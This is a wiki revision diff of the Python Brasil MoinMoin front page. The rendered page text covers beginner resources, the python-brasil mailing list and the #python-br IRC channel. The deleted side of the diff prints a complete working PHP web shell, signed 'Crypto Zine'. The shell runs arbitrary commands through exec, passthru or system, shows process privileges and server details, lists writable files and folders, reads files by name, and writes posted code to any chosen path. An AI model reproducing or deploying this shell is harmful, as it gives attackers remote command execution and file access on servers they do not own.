4935
Comentário:
|
2926
|
Deleções são marcadas assim. | Adições são marcadas assim. |
Linha 1: | Linha 1: |
<center> <?php |
#acl All:read AdminGroup:read,write,delete,revert,admin |
Linha 4: | Linha 3: |
closelog( ); | O Python Brasil reune grupos de usuários em todo o Brasil interessados em difundir e divulgar a linguagem de programação [http://python.org Python], abrigando em seu domínio todo o material editado sobre esta linguagem em nosso idioma (português do Brasil). Ele utiliza o software MoinMoin que é um [http://c2.com/cgi/wiki Wiki] inteiramente escrito em Python. Esse sistema foi escolhido por sua facilidade de uso e por ser uma ferramenta bastante democrática, permitindo que se desenvolva conteúdo rapidamente. |
Linha 7: | Linha 5: |
$dono = get_current_user( ); $ver = phpversion( ); $login = posix_getuid( ); $euid = posix_geteuid( ); $gid = posix_getgid( ); if ($chdir == "") $chdir = getcwd( ); ?> |
= Iniciantes = |
Linha 16: | Linha 7: |
Leitura recomendada para aqueles que têm interesse ou são iniciantes na linguagem Python: | |
Linha 17: | Linha 9: |
<?php | * InstalandoPythonNoWindows - Dica de como instalar o Python no Windows XP. * AprendaProgramar - Aprenda a Programar com a linguagem Python. * ListaDeExercicios - Para quem quer se exercitar e não sabe por onde começar. * DocumentacaoPython - Dezenas de tutoriais e artigos sobre Python para os mais diversos níveis de aprendizado. * CookBook - Exemplos e trechos de códigos úteis. * PerguntasFrequentes - Respostas às perguntas mais freqüentes. |
Linha 19: | Linha 16: |
$uname = posix_uname( ); while (list($info, $value) = each ($uname)) { |
Não diretamente relacionado com Python, mas importante: * ComoUsarWiki dicas para quem deseja usar o nosso Wiki. |
Linha 22: | Linha 19: |
?> <TR> <TD width="457"><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD> </TR> |
= Como Participar = |
Linha 27: | Linha 21: |
Você pode participar da comunidade PythonBrasil diretamente aqui no site, através da lista de discussão ou via IRC. | |
Linha 28: | Linha 23: |
<?php } ?> <center> <TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||Usuario Corrente|||<br> <?= $dono ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PHP|||<br> <?= $ver ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PriV|||<br> uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)</DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">||||Path||||<br> <?= $chdir ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||ServerName|||<br><?php $aaa = gethostbyname($SERVER_NAME); echo $aaa;?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #f40707">|||HTTPD|||<br> <?="$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD> </TR> </TABLE> <BR> <?php |
=== Lista de Discussão === |
Linha 57: | Linha 25: |
if ($cmd != "") { echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>"; |
A lista oficial do site é: python-brasil@yahoogrupos.com.br ([http://br.groups.yahoo.com/group/python-brasil/ página principal]). Para se cadastrar na python-brasil, envie email (com qualquer conteúdo/assunto) para python-brasil-subscribe@yahoogrupos.com.br ou preencher o formulário abaixo. Feito isso você receberá um e-mail de confirmação. É só responder a esse e-mail e pronto. |
Linha 60: | Linha 27: |
?> | [[HTML(<p><form method="get" action="http://br.groups.yahoo.com/subscribe/python-brasil">Assine a Lista: <input type="text" name="user" value="endereço de e-mail" size="20" /> <input type="submit" value="Assinar" /></form></p>)]] |
Linha 62: | Linha 29: |
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php |
/!\ '''Antes de enviar mensagens para a lista dê uma lida na página AntesDePerguntar.''' |
Linha 65: | Linha 31: |
if ($fe == 1){ $fe = "exec"; } if ($fe == ""){ $fe = "passthru"; } if ($fe == "2"){ $fe = "system"; } |
Existe ainda uma lista chamada python-br que está sendo desativada. Se você tem conta nesta lista, por favor migre para a lista python-brasil. Pedimos a todos pythonistas e curiosos que não remetam e-mails para a lista python-br! Ela não tem como ser moderada ou gerenciada devido a um problema de autenticação. |
Linha 75: | Linha 33: |
if (isset($chdir)) @chdir($chdir); | === Canal de IRC === |
Linha 77: | Linha 35: |
ob_start( ); $fe("$cmd 2>&1"); $output = ob_get_contents(); ob_end_clean( ); |
O canal oficial do '''Python''' no Brasil é o #python-br do irc.freenode.org. |
Linha 82: | Linha 37: |
?> <TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 10px;"> <?php |
=== Outros === |
Linha 86: | Linha 39: |
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); ?> </TEXTAREA> <BR> <?php } if ($listar != "") { echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>"; ?> <DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php if ($dir = @opendir($chdir)) { echo "<TABLE border=1 cellspacing=1 cellpadding=0>"; echo "<TR>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos</b> <br><br>"; while (($file = readdir($dir)) !== false) { if (@is_file($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&oia=$file>$file</a><br>"; // echo "<font color=green>$file1 - $file2 - $file </font><br>"; flush( ); } } echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas</b> <br><br>"; if ($dir = @opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_dir($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>"; // echo "<font color=blue>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas Alteraveis</b><br><br>"; if ($dir = @opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_writable($file) && @is_dir($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=red>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo "</TD>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos Alteraveis</b> <br><br>"; if ($dir = opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_writable($file) && @is_file($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=red>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo "</TR>"; echo "</TABLE>"; } } ?> <html> <body> <form action=<?php echo $PHP_SELF; ?> method=post> <input type=text name=codigo value="Codigo"> <input type=text name=caminho value="Caminho"> <br> <input type=submit value=Send> <br> </body> </html> <?php $codigo="$_POST[codigo]"; $caminho="$_POST[caminho]"; $fp = fopen("$caminho", "w"); $ok = fwrite($fp, $codigo); if ($oia != "") { $fp = fopen($oia, "r"); $read = fread($fp, 30000); echo "$oia<br>"; echo "<textarea name=textarea cols=80 rows=15>"; echo "$read"; Echo "</textarea>"; } ?> |
* CaixaDeSugestoes - Coloque aqui as suas sugestões para o presente e o futuro do PythonBrasil. * PaginasPessoaisLivroDeVisitas - Livro de visitas do Site (entre aqui e deixe sua assinatura). * OutrosGruposUsuarios - Outros sites de grupos de usuários Python. |
O Python Brasil reune grupos de usuários em todo o Brasil interessados em difundir e divulgar a linguagem de programação [http://python.org Python], abrigando em seu domínio todo o material editado sobre esta linguagem em nosso idioma (português do Brasil). Ele utiliza o software MoinMoin que é um [http://c2.com/cgi/wiki Wiki] inteiramente escrito em Python. Esse sistema foi escolhido por sua facilidade de uso e por ser uma ferramenta bastante democrática, permitindo que se desenvolva conteúdo rapidamente.
Iniciantes
Leitura recomendada para aqueles que têm interesse ou são iniciantes na linguagem Python:
InstalandoPythonNoWindows - Dica de como instalar o Python no Windows XP.
AprendaProgramar - Aprenda a Programar com a linguagem Python.
ListaDeExercicios - Para quem quer se exercitar e não sabe por onde começar.
DocumentacaoPython - Dezenas de tutoriais e artigos sobre Python para os mais diversos níveis de aprendizado.
CookBook - Exemplos e trechos de códigos úteis.
PerguntasFrequentes - Respostas às perguntas mais freqüentes.
Não diretamente relacionado com Python, mas importante:
ComoUsarWiki dicas para quem deseja usar o nosso Wiki.
Como Participar
Você pode participar da comunidade PythonBrasil diretamente aqui no site, através da lista de discussão ou via IRC.
Lista de Discussão
A lista oficial do site é: python-brasil@yahoogrupos.com.br ([http://br.groups.yahoo.com/group/python-brasil/ página principal]). Para se cadastrar na python-brasil, envie email (com qualquer conteúdo/assunto) para python-brasil-subscribe@yahoogrupos.com.br ou preencher o formulário abaixo. Feito isso você receberá um e-mail de confirmação. É só responder a esse e-mail e pronto.
Antes de enviar mensagens para a lista dê uma lida na página AntesDePerguntar.
Existe ainda uma lista chamada python-br que está sendo desativada. Se você tem conta nesta lista, por favor migre para a lista python-brasil. Pedimos a todos pythonistas e curiosos que não remetam e-mails para a lista python-br! Ela não tem como ser moderada ou gerenciada devido a um problema de autenticação.
Canal de IRC
O canal oficial do Python no Brasil é o #python-br do irc.freenode.org.
Outros
CaixaDeSugestoes - Coloque aqui as suas sugestões para o presente e o futuro do PythonBrasil.
PaginasPessoaisLivroDeVisitas - Livro de visitas do Site (entre aqui e deixe sua assinatura).
OutrosGruposUsuarios - Outros sites de grupos de usuários Python.